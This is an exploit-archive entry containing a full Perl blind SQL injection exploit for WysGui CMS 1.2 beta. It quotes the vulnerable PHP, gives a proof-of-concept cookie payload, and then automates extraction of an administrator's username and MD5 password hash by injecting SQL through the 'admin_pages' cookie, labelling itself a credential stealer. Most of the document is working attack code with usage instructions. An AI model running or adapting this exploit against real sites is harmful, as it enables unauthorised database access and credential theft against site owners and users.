WysGui CMS 1.2b (Insecure Cookie Handling) Blind SQL Injection Exploit

2009-04-21T00:00:00
ID SSV:11068
Type seebug
Reporter Root
Modified 2009-04-21T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	 (Insecure cookie handling) BLIND SQL INJECTION		              |
#|--------------------------------------------------------------------------------------------|
#|                         	    | WysGui CMS 1.2 BETA |		 	              |
#|  CMS INFORMATION:		     ---------------------				      |
#|										              |
#|-->WEB: http://wysgui.com/					   		              |
#|-->DOWNLOAD: http://sourceforge.net/projects/wysgui/		   		              |
#|-->DEMO: http://wysgui.com/demo/							      |
#|-->CATEGORY: CMS / Portals								      |
#|-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG,             |
#| 		(pronounced, Wizzy-Wig),tands for What You See Is What You Get...	      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3                                				      |
#|-->DORK: N/A										      |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
#|-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?)					      |
#|-->Discovered Bug date: 2009-04-20							      |
#|-->Reported Bug date: 2009-04-20							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch (????): Not fixed							      |   
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo.      |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents(¿?...LooooL)
#
#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{
#	$admin_pages = explode(',',$_COOKIE['admin_pages']);	<--------VULN--------|
#}
#else
#{
#	$admin_pages = array(
#			'addPage', 
#			'Edit Page', 
#			'Delete Page', 
#			  ...);
#}
#?>
#
#Then...
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents:
#				...
#				
#				if( $i>1 ){
#					$order.= ' `page` = "'.$admin_pages[$i].'",';	
#				}
#				...			
#
#				$allPages_select = 'SELECT * FROM `pagedata` 
#				WHERE '.$where.'								<--------VULN--------|
#				ORDER BY  '.$order;
#				$allPages_query = mysql_query($allPages_select) or die($allPages_select);
#				while($allPages_row = mysql_fetch_array($allPages_query))
#				{...}
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#COOKIE --> admin_pages=about" AND 1=1 /*
#
#Return: about.php
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all SPANISH Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[1]);
	$request->header(cookie => $_[0]);
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit\n";
	print "\t[XxX] USAGE MODE: [XxX]\n";
	print "\t[XxX] perl $0 [HOST] [PATH] [id]\n";
	print "\t[XxX] [HOST]: Web.\n";
	print "\t[XxX] [PATH]: Home Path.\n";
	print "\t[XxX] [id]: Id user. Default: 1 (**optional)\n";
	print "\t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$_[1].')='.$i++.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$exit=1;
}
}

#Save column length
$lengthuser=$i-1;
print "\t-----------------------------------------------------------------\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values...\n";
print "\t-----------------------------------------------------------------\n";
return $lengthuser;
}
sub bruteforcing {
#Getting datas
$j=1;
	$i=48;
	while(($j<=$_[2]) && ($i<=126)){
		my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$_[3].' FROM users WHERE ID='.$_[1].') FROM '.$j.' FOR 1))='.$i.' /*';
		$output=&request($insec_cookie,$_[0]);
		if ( $output =~ (/about.ico/))
		{
			$values=$values.chr($i);
			$j++;
			$i=47;
		}
	if($i==57)
	{
		$i=96;
	}
#new char
	$i++; 
	}
#Error
	if(($i>127) || ($j>$_[2])){
		if(!$values){
			print "\t-----------------------------------------------------------------\n";
			print "\tEXPLOIT FAILED!\n";
			print "\tFatal error: Datas doesn't find!\n";
			print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
			print "\t-----------------------------------------------------------------\n";
			exit(1);
		}
	}
	
return $values;
}
#Main
&lw;
	print "\t\t#########################################################\n\n";
	print "\t\t#########################################################\n\n";
	print "\t\t##  WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit  ##\n\n";
	print "\t\t##         ++Conditions: Need magic_quotes=off         ##\n\n";
	print "\t\t##                    Author: Y3nh4ck3r                ##\n\n";
	print "\t\t##            Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
	print "\t\t##                    Proud to be Spanish!             ##\n\n";
	print "\t\t#########################################################\n\n";
	print "\t\t#########################################################\n\n";
#Init variables
	my $host=$ARGV[0];
	my $path=$ARGV[1];
#Build the uri
	my $finalhost="http://".$host."/".$path."/admin.php";
#Check all variables needed
$numArgs = $#ARGV + 1;
	if($numArgs<=1) 
	{
		&helper;
		exit(1);	
	}
#Id-user is optional.Default:1
	if(!$ARGV[2]){
		$idhacked="1";	
	}else{
		$idhacked=$ARGV[2];	
	}
#Testing blind sql injection
my $finalrequest = $finalhost;	
#Test blind sql injection
my $insec_cookie='admin_pages=about" AND 1=1 /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{    
	print "\t-----------------------------------------------------------------\n";
	print "\tWeb is vulnerable!\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tChecking id user...\n"; 
	print "\t-----------------------------------------------------------------\n";
}else{ 
	print "\t-----------------------------------------------------------------\n";
	print "\tThis Web is not vulnerable!\n";
	print "\tMaybe patched or gpc_magic_quotes=off\n";
	print "\tEXPLOIT FAILED!\n";
	print "\t-----------------------------------------------------------------\n";
exit(1); 
}	
#Test if user exists
my $insec_cookie='admin_pages=about" AND (SELECT COUNT(*) from users WHERE ID='.$idhacked.') /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{    
	print "\t-----------------------------------------------------------------\n";
	print "\tOK...The user exists!\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n";
	print "\tWait several minutes...\n"; 
	print "\t-----------------------------------------------------------------\n";
}else{ 
	print "\t-----------------------------------------------------------------\n";
	print "\tUser doesn't exists!\n";		
	print "\tEXPLOIT FAILED!\n";
	print "\t-----------------------------------------------------------------\n";
exit(1); }	
#Bruteforcing user...
$length_user=&lengthuser($finalrequest,$idhacked);
$user=&bruteforcing($finalrequest,$idhacked,$length_user,'user');
print "\t-----------------------------------------------------------------\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)...\n";
print "\t-----------------------------------------------------------------\n";
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tUser:".$user."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done